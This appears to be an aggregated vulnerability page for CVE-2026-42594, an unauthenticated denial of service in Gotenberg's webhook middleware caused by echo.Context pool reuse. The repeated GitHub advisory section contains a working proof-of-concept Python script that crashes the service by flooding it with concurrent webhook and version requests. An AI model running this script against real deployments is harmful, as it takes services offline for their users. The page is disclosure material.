CVE-2026-42594
Gotenberg: Unauthenticated denial of service via echo.Context pool reuse in webhook async goroutine
Gotenberg is a Docker-powered stateless API for PDF files. Prior to 8.32.0, the webhook middleware spawns a goroutine that holds a reference to the request's echo.Context after the synchronous handler returns ErrAsyncProcess and Echo recycles the context back to its sync.Pool. When a concurrent request claims the recycled context, c.Reset() clears the store. If the webhook goroutine reaches hardTimeoutMiddleware at that moment, an unchecked type assertion on a nil store entry panics outside any recover() scope, crashing the Gotenberg process. Any anonymous caller reaches the webhook path (default webhook-deny-list filters only the webhook destination, not the submitter). A single-source stress of ~24 webhook requests plus ~60 GET /version requests crashes the process in about two seconds. This vulnerability is fixed in 8.32.0.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- None
- Integrity
- None
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
7.5
Gotenberg: Unauthenticated denial of service via echo.Context pool reuse in webhook async goroutine
Gotenberg is a Docker-powered stateless API for PDF files. Prior to 8.32.0, the webhook middleware spawns a goroutine that holds a reference to the request's echo.Context after the synchronous handler returns ErrAsyncProcess and Echo recycles the context back to its sync.Pool. When a concurrent request claims the recycled context, c.Reset() clears the store. If the webhook goroutine reaches hardTimeoutMiddleware at that moment, an unchecked type assertion on a nil store entry panics outside any recover() scope, crashing the Gotenberg process. Any anonymous caller reaches the webhook path (default webhook-deny-list filters only the webhook destination, not the submitter). A single-source stress of ~24 webhook requests plus ~60 GET /version requests crashes the process in about two seconds. This vulnerability is fixed in 8.32.0.
- Record
CVE-2026-42594- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-362
- Updated
- 2026-11-02
EUVDEUVD-2026-30312
7.5
Gotenberg is a Docker-powered stateless API for PDF files. Prior to 8.32.0, the webhook middleware spawns a goroutine that holds a reference to the request's echo.Context after the synchronous handler returns ErrAsyncProcess and Echo recycles the context back to its sync.Pool. When a concurrent request claims the recycled context, c.Reset() clears the store. If the webhook goroutine reaches hardTimeoutMiddleware at that moment, an unchecked type assertion on a nil store entry panics outside any recover() scope, crashing the Gotenberg process. Any anonymous caller reaches the webhook path (default webhook-deny-list filters only the webhook destination, not the submitter). A single-source stress of ~24 webhook requests plus ~60 GET /version requests crashes the process in about two seconds. This vulnerability is fixed in 8.32.0.
- Record
EUVD-2026-30312- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-r33j-c622-r6qp
7.5
Gotenberg has an unauthenticated denial of service via echo.Context pool reuse in webhook async goroutine
Summary
The webhook middleware spawns a goroutine that holds a reference to the request's echo.Context after the synchronous handler returns ErrAsyncProcess and Echo recycles the context back to its sync.Pool. When a concurrent request claims the recycled context, c.Reset() clears the store. If the webhook goroutine reaches hardTimeoutMiddleware at that moment, an unchecked type assertion on a nil store entry panics outside any recover() scope, crashing the Gotenberg process. Any anonymous caller reaches the webhook path (default webhook-deny-list filters only the webhook destination, not the submitter). A single-source stress of ~24 webhook requests plus ~60 GET /version requests crashes the process in about two seconds.
Details
pkg/modules/webhook/middleware.go:338-382 starts the async goroutine and immediately returns api.ErrAsyncProcess to the caller:
w.asyncCount.Add(1)
go func() {
defer cancel()
defer w.asyncCount.Add(-1)
err := next(c) // line 343
...
sendOutputFile(sendOutputFileParams{ ctx: ctx, ... })
}()
return api.ErrAsyncProcess // line 382
pkg/modules/api/middlewares.go:356-361 sees the sentinel, responds with 204 No Content, and lets Echo return c to the pool:
if errors.Is(err, ErrAsyncProcess) {
return c.NoContent(http.StatusNoContent)
}
Echo's router calls c.Reset() before serving the next request from the same goroutine pool slot, wiping c.store. When the webhook goroutine's next(c) enters hardTimeoutMiddleware at pkg/modules/api/middlewares.go:396-398, the handler dereferences the store before the new recover scope exists:
return func(c echo.Context) error {
logger := c.Get("logger").(*slog.Logger) // line 398
...
go func() {
defer func() { if r := recover(); r != nil { ... } }() // recover is scoped here
errChan <- next(c)
}()
If a concurrent request has just acquired c from the pool, c.Get("logger") returns nil, and nil.(*slog.Logger) panics at line 398. The panic is not inside any goroutine with a recover(), so the Go runtime terminates the process with exit code 2.
No echo.Recover middleware is registered (pkg/modules/api/api.go:480-536). GOTRACEBACK defaults propagate the panic to stderr and exit.
Proof of Concept
Reproduction on the stock Docker image with default configuration:
docker run -d --name gotenberg-poc -p 3000:3000 \
-e GOTRACEBACK=all gotenberg/gotenberg:8 gotenberg --log-level=error
Single-process stress script (Alice sends both streams, no second actor):
import requests, subprocess, time, json, threading
TARGET = "http://localhost:3000"
WEBHOOK = "http://httpbin.org/post" # passes default webhook-deny-list
STOP = threading.Event()
html = b"<html><body><h1>Q</h1></body></html>"
def webhook_fire():
s = requests.Session()
while not STOP.is_set():
try:
s.post(
f"{TARGET}/forms/chromium/convert/html",
files={"files": ("index.html", html, "text/html")},
headers={
"Gotenberg-Webhook-Url": WEBHOOK,
"Gotenberg-Webhook-Error-Url": WEBHOOK,
},
timeout=15,
)
except: pass
def noise_fire():
s = requests.Session()
while not STOP.is_set():
try: s.get(f"{TARGET}/version", timeout=2)
except: pass
for _ in range(24): threading.Thread(target=webhook_fire, daemon=True).start()
for _ in range(60): threading.Thread(target=noise_fire, daemon=True).start()
t0 = time.time()
while time.time() - t0 < 60:
time.sleep(1)
status = json.loads(subprocess.run(
["docker", "inspect", "gotenberg-poc"],
capture_output=True, text=True, check=True).stdout)[0]["State"]
if status["Status"] != "running":
print(f"process crashed after {time.time()-t0:.1f}s, exit…
- Record
GHSA-r33j-c622-r6qp- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-362
- Updated
- 2026-11-02
NVD
7.5
Gotenberg is a Docker-powered stateless API for PDF files. Prior to 8.32.0, the webhook middleware spawns a goroutine that holds a reference to the request's echo.Context after the synchronous handler returns ErrAsyncProcess and Echo recycles the context back to its sync.Pool. When a concurrent request claims the recycled context, c.Reset() clears the store. If the webhook goroutine reaches hardTimeoutMiddleware at that moment, an unchecked type assertion on a nil store entry panics outside any recover() scope, crashing the Gotenberg process. Any anonymous caller reaches the webhook path (default webhook-deny-list filters only the webhook destination, not the submitter). A single-source stress of ~24 webhook requests plus ~60 GET /version requests crashes the process in about two seconds. This vulnerability is fixed in 8.32.0.
- Record
CVE-2026-42594- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-362
- Updated
- 2026-11-02
OSV
7.5
Gotenberg: Unauthenticated denial of service via echo.Context pool reuse in webhook async goroutine
Gotenberg is a Docker-powered stateless API for PDF files. Prior to 8.32.0, the webhook middleware spawns a goroutine that holds a reference to the request's echo.Context after the synchronous handler returns ErrAsyncProcess and Echo recycles the context back to its sync.Pool. When a concurrent request claims the recycled context, c.Reset() clears the store. If the webhook goroutine reaches hardTimeoutMiddleware at that moment, an unchecked type assertion on a nil store entry panics outside any recover() scope, crashing the Gotenberg process. Any anonymous caller reaches the webhook path (default webhook-deny-list filters only the webhook destination, not the submitter). A single-source stress of ~24 webhook requests plus ~60 GET /version requests crashes the process in about two seconds. This vulnerability is fixed in 8.32.0.
- Record
CVE-2026-42594- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-362
- Updated
- 2026-11-02
OSVGHSA-r33j-c622-r6qp
7.5
Gotenberg has an unauthenticated denial of service via echo.Context pool reuse in webhook async goroutine
Summary
The webhook middleware spawns a goroutine that holds a reference to the request's echo.Context after the synchronous handler returns ErrAsyncProcess and Echo recycles the context back to its sync.Pool. When a concurrent request claims the recycled context, c.Reset() clears the store. If the webhook goroutine reaches hardTimeoutMiddleware at that moment, an unchecked type assertion on a nil store entry panics outside any recover() scope, crashing the Gotenberg process. Any anonymous caller reaches the webhook path (default webhook-deny-list filters only the webhook destination, not the submitter). A single-source stress of ~24 webhook requests plus ~60 GET /version requests crashes the process in about two seconds.
Details
pkg/modules/webhook/middleware.go:338-382 starts the async goroutine and immediately returns api.ErrAsyncProcess to the caller:
w.asyncCount.Add(1)
go func() {
defer cancel()
defer w.asyncCount.Add(-1)
err := next(c) // line 343
...
sendOutputFile(sendOutputFileParams{ ctx: ctx, ... })
}()
return api.ErrAsyncProcess // line 382
pkg/modules/api/middlewares.go:356-361 sees the sentinel, responds with 204 No Content, and lets Echo return c to the pool:
if errors.Is(err, ErrAsyncProcess) {
return c.NoContent(http.StatusNoContent)
}
Echo's router calls c.Reset() before serving the next request from the same goroutine pool slot, wiping c.store. When the webhook goroutine's next(c) enters hardTimeoutMiddleware at pkg/modules/api/middlewares.go:396-398, the handler dereferences the store before the new recover scope exists:
return func(c echo.Context) error {
logger := c.Get("logger").(*slog.Logger) // line 398
...
go func() {
defer func() { if r := recover(); r != nil { ... } }() // recover is scoped here
errChan <- next(c)
}()
If a concurrent request has just acquired c from the pool, c.Get("logger") returns nil, and nil.(*slog.Logger) panics at line 398. The panic is not inside any goroutine with a recover(), so the Go runtime terminates the process with exit code 2.
No echo.Recover middleware is registered (pkg/modules/api/api.go:480-536). GOTRACEBACK defaults propagate the panic to stderr and exit.
Proof of Concept
Reproduction on the stock Docker image with default configuration:
docker run -d --name gotenberg-poc -p 3000:3000 \
-e GOTRACEBACK=all gotenberg/gotenberg:8 gotenberg --log-level=error
Single-process stress script (Alice sends both streams, no second actor):
import requests, subprocess, time, json, threading
TARGET = "http://localhost:3000"
WEBHOOK = "http://httpbin.org/post" # passes default webhook-deny-list
STOP = threading.Event()
html = b"<html><body><h1>Q</h1></body></html>"
def webhook_fire():
s = requests.Session()
while not STOP.is_set():
try:
s.post(
f"{TARGET}/forms/chromium/convert/html",
files={"files": ("index.html", html, "text/html")},
headers={
"Gotenberg-Webhook-Url": WEBHOOK,
"Gotenberg-Webhook-Error-Url": WEBHOOK,
},
timeout=15,
)
except: pass
def noise_fire():
s = requests.Session()
while not STOP.is_set():
try: s.get(f"{TARGET}/version", timeout=2)
except: pass
for _ in range(24): threading.Thread(target=webhook_fire, daemon=True).start()
for _ in range(60): threading.Thread(target=noise_fire, daemon=True).start()
t0 = time.time()
while time.time() - t0 < 60:
time.sleep(1)
status = json.loads(subprocess.run(
["docker", "inspect", "gotenberg-poc"],
capture_output=True, text=True, check=True).stdout)[0]["State"]
if status["Status"] != "running":
print(f"process crashed after {time.time()-t0:.1f}s, exit…
- Record
GHSA-r33j-c622-r6qp- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-362
- Updated
- 2026-11-02
OSVGO-2026-5605 No score
Gotenberg has an unauthenticated denial of service via echo.Context pool reuse in webhook async goroutine in github.com/gotenberg/gotenberg
Gotenberg has an unauthenticated denial of service via echo.Context pool reuse in webhook async goroutine in github.com/gotenberg/gotenberg
- Record
GO-2026-5605- Updated
- 2026-11-02
OSVopenSUSE-SU-2026:21483-1 No score
Security update for govulncheck-vulndb
This update for govulncheck-vulndb fixes the following issues:
- Update to version 0.0.20260723T184607 2026-07-23T18:46:07Z (jsc#PED-11136).
Go CVE Numbering Authority IDs added or updated with aliases:
- GO-2026-4730 CVE-2026-33022 GHSA-cv4x-93xx-wgfj
- GO-2026-4761 CVE-2026-33211 GHSA-j5q5-j9gm-2w5c
- GO-2026-5102 CVE-2026-45021 GHSA-3vcp-chfh-f6r2
- GO-2026-5272 CVE-2026-40938 GHSA-94jr-7pqp-xhcq
- GO-2026-5486 CVE-2026-40924 GHSA-m2cx-gpqf-qf74
- GO-2026-5542 CVE-2026-40090 GHSA-pj97-4p9w-gx3q
- GO-2026-5630 CVE-2026-25542 GHSA-rmx9-2pp3-xhcr
- GO-2026-5643 CVE-2026-40923 GHSA-rx35-6rhx-7858
- GO-2026-5675 CVE-2026-41492 GHSA-vvf7-6rmr-m29q
- GO-2026-5711 CVE-2026-40161 GHSA-wjxp-xrpv-xpff
- GO-2026-5746 CVE-2026-41567 GHSA-x86f-5xw2-fm2r
- GO-2026-5749 CVE-2026-41328 GHSA-x92x-px7w-4gx4
- GO-2026-5837 CVE-2026-44840 GHSA-q2m9-6jp9-c6mc
- GO-2026-5929 CVE-2026-44342 GHSA-26v7-h57m-gh9m
- GO-2026-5930 CVE-2026-33655 GHSA-6qcr-qxgr-m7fv
- GO-2026-5933 GHSA-3g4q-2f67-2gvh
- GO-2026-5934 GHSA-59qp-cfj3-rp64
- GO-2026-5935 GHSA-7856-g3gv-9wq8
- GO-2026-5936 CVE-2026-53552 GHSA-26rh-24rg-j3vv
- GO-2026-5937 CVE-2026-53508 GHSA-2jcc-mxv7-p3f9
- GO-2026-5938 CVE-2026-53553 GHSA-4g5x-hcwm-82jw
- GO-2026-5939 CVE-2026-10517 GHSA-698x-9w2p-7vvp
- GO-2026-5940 CVE-2026-53572 GHSA-6w3m-4hhp-775q
- GO-2026-5941 CVE-2026-53487 GHSA-gvhc-wv3v-7pf8
- GO-2026-5942 CVE-2026-46600
- GO-2026-5944 CVE-2026-50197 GHSA-659f-rgp5-w4wf
- GO-2026-5945 CVE-2026-6815 GHSA-rmxx-v9rj-vpvg
- GO-2026-5946 CVE-2026-52831 GHSA-v5px-423j-pf7p
- GO-2026-5947 CVE-2026-53649 GHSA-xqhv-chqm-fhcc
- GO-2026-5948 CVE-2026-50554 GHSA-588f-fvcv-xhvf
- GO-2026-5949 CVE-2026-50553 GHSA-rqrh-8wpv-x7hh
- GO-2026-5950 CVE-2026-53602 GHSA-339v-266x-79xr
- GO-2026-5951 CVE-2026-10219 GHSA-6jm8-4fhr-5w64
- GO-2026-5952 CVE-2026-49834 GHSA-9vcr-p3rj-q5q6
- GO-2026-5953 CVE-2026-9094 GHSA-c9w5-qp6m-m395
- GO-2026-5956 CVE-2026-55252 GHSA-h5g6-xmh4-hc37
- GO-2026-5957 CVE-2026-54158 GHSA-5xfx-xj4h-5p7r
- GO-2026-5958 CVE-2026-54068 GHSA-gcm7-57gf-953c
- GO-2026-5959 CVE-2026-54072 GHSA-h29v-hj44-q8cv
- GO-2026-5961 CVE-2026-54069 GHSA-hvr9-72v2-fff3
- GO-2026-5962 CVE-2026-54088 GHSA-m93h-4hw7-5qcm
- GO-2026-5963 CVE-2026-54067 GHSA-mvjr-vv3c-w4qv
- GO-2026-5964 CVE-2026-54066 GHSA-p4m3-mgmm-c664
- GO-2026-5965 CVE-2026-54070 GHSA-w7cg-whh7-xp28
- GO-2026-5966 CVE-2026-54089 GHSA-xqp3-jq6g-x3qm
- GO-2026-5967 CVE-2026-50551 GHSA-56mp-4f3v-fgj2
- GO-2026-5968 CVE-2026-54174 GHSA-fpg8-7664-jc5q
- GO-2026-5969 GHSA-g936-7jqj-mwv8
- GO-2026-5970 CVE-2026-56852
- GO-2026-5973 CVE-2026-54250 GHSA-jxr7-mqhw-9p98
- GO-2026-5974 CVE-2026-44300 GHSA-wmj8-9953-vff5
- GO-2026-5975 CVE-2026-50018 GHSA-42j2-w334-qxw7
- GO-2026-5976 CVE-2026-50141 GHSA-g7mm-9vx7-jm7h
- GO-2026-5977 CVE-2026-50013 GHSA-qrh4-p6v4-mrfg
- GO-2026-5978 CVE-2026-50125 GHSA-qw5r-ppcg-f8rj
- GO-2026-5979 CVE-2026-50006 GHSA-xrcf-6jh3-ggvx
- GO-2026-5980 CVE-2026-50158 GHSA-2c7f-fxww-6w6c
- GO-2026-5981 GHSA-mqxv-9rm6-w8qc
- GO-2026-5982 GHSA-pqg7-v6wh-3pfp
- GO-2026-5984 CVE-2026-53604 GHSA-2p2f-px33-4vv5
- GO-2026-5985 GHSA-7rx3-5wx3-5v76
- GO-2026-5986 CVE-2026-61699 GHSA-cm26-5974-52h8
- GO-2026-5987 CVE-2026-55513 GHSA-g4x6-jcvr-9m3g
- GO-2026-5988 CVE-2026-54628 GHSA-hwrq-8wxh-q4xv
- GO-2026-5989 CVE-2026-55512 GHSA-m3cx-mwpg-32jg
- GO-2026-5990 CVE-2026-54629 GHSA-mf78-3rpf-r784
- GO-2026-5991 CVE-2026-53603 GHSA-q4vm-pq3q-8wgq
- GO-2026-5992 CVE-2026-61549 GHSA-qf34-295c-26v8
- GO-2026-5996 CVE-2026-54450 GHSA-pph6-vfjv-vpjw
- GO-2026-5997 CVE-2026-54452 GHSA-xgch-x3mx-cm3c
- GO-2026-5998 CVE-2026-54495 GHSA-398h-7f66-3h4p
- GO-2026-5999 CVE-2026-10814 GHSA-jh6h-v6mp-h22v
- GO-2026-6002 CVE-2026-58196 GHSA-pr64-jmmf-jp54
- GO-2026-6003 CVE-2026-53714 GHSA-22xc-xg2r-9j7v
- GO-2026-6004 CVE-2026-52833 GHSA-3v79-m2cg-89ww
- GO-2026-6005 CVE-2026-53715 GHSA-8fv2-88gg-hm7q
- GO-2026-6006 CVE-2026-53716 GHSA-cxpq-8v7q-cg56 *…
- Record
openSUSE-SU-2026:21483-1- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
github.com/gotenberg/gotenberg/v8Go |
through 8.31.0 | 8.32.0 |
github.com/gotenberg/gotenberg/v8Go |
before 8.32.0 | 8.32.0 |
github.com/gotenberg/gotenberg/v7Go |
All versions | None known |
govulncheck-vulndbopenSUSE:Leap 16.0 From an advisory covering 1734 CVEs |
before 0.0.20260723T184607-160000.1.1 | 0.0.20260723T184607-160000.1.1 |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected, facts | ||
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-42594 is a high vulnerability (CVSS 7.5) in Gotenberg, published May 7, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.35%, the 28th percentile. Fixed in github.com/gotenberg/gotenberg/v8 8.32.0.
References
github.com/gotenberg/gotenberg/security/advisories/GHSA-r33j-c622-r6qp
nvd.nist.gov/vuln/detail/CVE-2026-42594
github.com/advisories/GHSA-r33j-c622-r6qp
github.com/CVEProject/cvelistV5/tree/main/cves/2026/42xxx/CVE-2026-42594.json
github.com/gotenberg/gotenberg
suse.com/security/cve/CVE-2016-11063
Show 194 moreShow less
suse.com/security/cve/CVE-2016-11066
suse.com/security/cve/CVE-2016-11067
suse.com/security/cve/CVE-2016-11068
suse.com/security/cve/CVE-2016-11069
suse.com/security/cve/CVE-2016-11070
suse.com/security/cve/CVE-2016-11071
suse.com/security/cve/CVE-2016-11072
suse.com/security/cve/CVE-2016-11073
suse.com/security/cve/CVE-2016-11074
suse.com/security/cve/CVE-2016-11075
suse.com/security/cve/CVE-2016-11076
suse.com/security/cve/CVE-2016-11077
suse.com/security/cve/CVE-2016-11078
suse.com/security/cve/CVE-2016-11079
suse.com/security/cve/CVE-2016-11080
suse.com/security/cve/CVE-2016-11081
suse.com/security/cve/CVE-2016-11082
suse.com/security/cve/CVE-2016-11083
suse.com/security/cve/CVE-2016-11084
suse.com/security/cve/CVE-2017-18870
suse.com/security/cve/CVE-2017-18871
suse.com/security/cve/CVE-2017-18872
suse.com/security/cve/CVE-2017-18873
suse.com/security/cve/CVE-2017-18874
suse.com/security/cve/CVE-2017-18875
suse.com/security/cve/CVE-2017-18876
suse.com/security/cve/CVE-2017-18877
suse.com/security/cve/CVE-2017-18878
suse.com/security/cve/CVE-2017-18879
suse.com/security/cve/CVE-2017-18883
suse.com/security/cve/CVE-2017-18884
suse.com/security/cve/CVE-2017-18885
suse.com/security/cve/CVE-2017-18886
suse.com/security/cve/CVE-2017-18887
suse.com/security/cve/CVE-2017-18888
suse.com/security/cve/CVE-2017-18889
suse.com/security/cve/CVE-2017-18890
suse.com/security/cve/CVE-2017-18891
suse.com/security/cve/CVE-2017-18892
suse.com/security/cve/CVE-2017-18893
suse.com/security/cve/CVE-2017-18894
suse.com/security/cve/CVE-2017-18895
suse.com/security/cve/CVE-2017-18896
suse.com/security/cve/CVE-2017-18897
suse.com/security/cve/CVE-2017-18898
suse.com/security/cve/CVE-2017-18900
suse.com/security/cve/CVE-2017-18901
suse.com/security/cve/CVE-2017-18902
suse.com/security/cve/CVE-2017-18903
suse.com/security/cve/CVE-2017-18904
suse.com/security/cve/CVE-2017-18905
suse.com/security/cve/CVE-2017-18906
suse.com/security/cve/CVE-2017-18907
suse.com/security/cve/CVE-2017-18908
suse.com/security/cve/CVE-2017-18909
suse.com/security/cve/CVE-2017-18911
suse.com/security/cve/CVE-2017-18912
suse.com/security/cve/CVE-2017-18915
suse.com/security/cve/CVE-2017-18916
suse.com/security/cve/CVE-2017-18917
suse.com/security/cve/CVE-2017-18918
suse.com/security/cve/CVE-2018-21258
suse.com/security/cve/CVE-2019-8400
suse.com/security/cve/CVE-2021-25320
suse.com/security/cve/CVE-2022-45786
suse.com/security/cve/CVE-2023-26154
suse.com/security/cve/CVE-2023-32199
suse.com/security/cve/CVE-2023-34620
suse.com/security/cve/CVE-2023-43630
suse.com/security/cve/CVE-2023-43631
suse.com/security/cve/CVE-2023-43632
suse.com/security/cve/CVE-2023-43633
suse.com/security/cve/CVE-2023-43634
suse.com/security/cve/CVE-2023-43635
suse.com/security/cve/CVE-2023-43636
suse.com/security/cve/CVE-2023-43637
suse.com/security/cve/CVE-2023-47108
suse.com/security/cve/CVE-2024-12886
suse.com/security/cve/CVE-2024-21635
suse.com/security/cve/CVE-2024-25621
suse.com/security/cve/CVE-2024-41260
suse.com/security/cve/CVE-2024-41265
suse.com/security/cve/CVE-2024-44905
suse.com/security/cve/CVE-2024-52284
suse.com/security/cve/CVE-2024-53412
suse.com/security/cve/CVE-2024-58259
suse.com/security/cve/CVE-2024-58260
suse.com/security/cve/CVE-2024-58267
suse.com/security/cve/CVE-2024-58269
suse.com/security/cve/CVE-2024-6717
suse.com/security/cve/CVE-2025-0426
suse.com/security/cve/CVE-2025-10543
suse.com/security/cve/CVE-2025-10545
suse.com/security/cve/CVE-2025-10630
suse.com/security/cve/CVE-2025-10678
suse.com/security/cve/CVE-2025-10954
suse.com/security/cve/CVE-2025-11374
suse.com/security/cve/CVE-2025-11375
suse.com/security/cve/CVE-2025-11393
suse.com/security/cve/CVE-2025-11579
suse.com/security/cve/CVE-2025-11621
suse.com/security/cve/CVE-2025-11776
suse.com/security/cve/CVE-2025-11777
suse.com/security/cve/CVE-2025-11794
suse.com/security/cve/CVE-2025-12044
suse.com/security/cve/CVE-2025-12419
suse.com/security/cve/CVE-2025-12421
suse.com/security/cve/CVE-2025-12559
suse.com/security/cve/CVE-2025-12689
suse.com/security/cve/CVE-2025-12756
suse.com/security/cve/CVE-2025-13281
suse.com/security/cve/CVE-2025-13324
suse.com/security/cve/CVE-2025-13352
suse.com/security/cve/CVE-2025-13353
suse.com/security/cve/CVE-2025-13357
suse.com/security/cve/CVE-2025-13425
suse.com/security/cve/CVE-2025-13523
suse.com/security/cve/CVE-2025-13767
suse.com/security/cve/CVE-2025-13821
suse.com/security/cve/CVE-2025-13870
suse.com/security/cve/CVE-2025-13888
suse.com/security/cve/CVE-2025-14273
suse.com/security/cve/CVE-2025-14350
suse.com/security/cve/CVE-2025-14435
suse.com/security/cve/CVE-2025-14443
suse.com/security/cve/CVE-2025-14525
suse.com/security/cve/CVE-2025-14573
suse.com/security/cve/CVE-2025-14764
suse.com/security/cve/CVE-2025-14822
suse.com/security/cve/CVE-2025-14986
suse.com/security/cve/CVE-2025-14987
suse.com/security/cve/CVE-2025-15107
suse.com/security/cve/CVE-2025-15558
suse.com/security/cve/CVE-2025-21613
suse.com/security/cve/CVE-2025-22870
suse.com/security/cve/CVE-2025-22873
suse.com/security/cve/CVE-2025-23266
suse.com/security/cve/CVE-2025-23267
suse.com/security/cve/CVE-2025-26625
suse.com/security/cve/CVE-2025-27093
suse.com/security/cve/CVE-2025-2786
suse.com/security/cve/CVE-2025-2842
suse.com/security/cve/CVE-2025-2843
suse.com/security/cve/CVE-2025-31133
suse.com/security/cve/CVE-2025-34410
suse.com/security/cve/CVE-2025-34429
suse.com/security/cve/CVE-2025-34430
suse.com/security/cve/CVE-2025-41115
suse.com/security/cve/CVE-2025-41117
suse.com/security/cve/CVE-2025-41118
suse.com/security/cve/CVE-2025-41410
suse.com/security/cve/CVE-2025-41436
suse.com/security/cve/CVE-2025-41443
suse.com/security/cve/CVE-2025-44001
suse.com/security/cve/CVE-2025-44004
suse.com/security/cve/CVE-2025-44005
suse.com/security/cve/CVE-2025-47906
suse.com/security/cve/CVE-2025-47910
suse.com/security/cve/CVE-2025-47911
suse.com/security/cve/CVE-2025-47912
suse.com/security/cve/CVE-2025-47913
suse.com/security/cve/CVE-2025-47914
suse.com/security/cve/CVE-2025-48731
suse.com/security/cve/CVE-2025-49221
suse.com/security/cve/CVE-2025-4953
suse.com/security/cve/CVE-2025-50180
suse.com/security/cve/CVE-2025-50946
suse.com/security/cve/CVE-2025-51667
suse.com/security/cve/CVE-2025-5187
suse.com/security/cve/CVE-2025-52490
suse.com/security/cve/CVE-2025-52565
suse.com/security/cve/CVE-2025-52881
suse.com/security/cve/CVE-2025-52894
suse.com/security/cve/CVE-2025-52931
suse.com/security/cve/CVE-2025-53514
suse.com/security/cve/CVE-2025-53857
suse.com/security/cve/CVE-2025-53884
suse.com/security/cve/CVE-2025-53910
suse.com/security/cve/CVE-2025-54123
suse.com/security/cve/CVE-2025-54286
suse.com/security/cve/CVE-2025-54287
suse.com/security/cve/CVE-2025-54288
suse.com/security/cve/CVE-2025-54289
suse.com/security/cve/CVE-2025-54290
suse.com/security/cve/CVE-2025-54291
suse.com/security/cve/CVE-2025-54293
suse.com/security/cve/CVE-2025-54376
suse.com/security/cve/CVE-2025-54410
suse.com/security/cve/CVE-2025-54458
suse.com/security/cve/CVE-2025-54463
suse.com/security/cve/CVE-2025-54467
suse.com/security/cve/CVE-2025-54468
suse.com/security/cve/CVE-2025-54469
suse.com/security/cve/CVE-2025-54470
Left out here: 1,539 references and the rest of 3 source descriptions. The JSON record has them.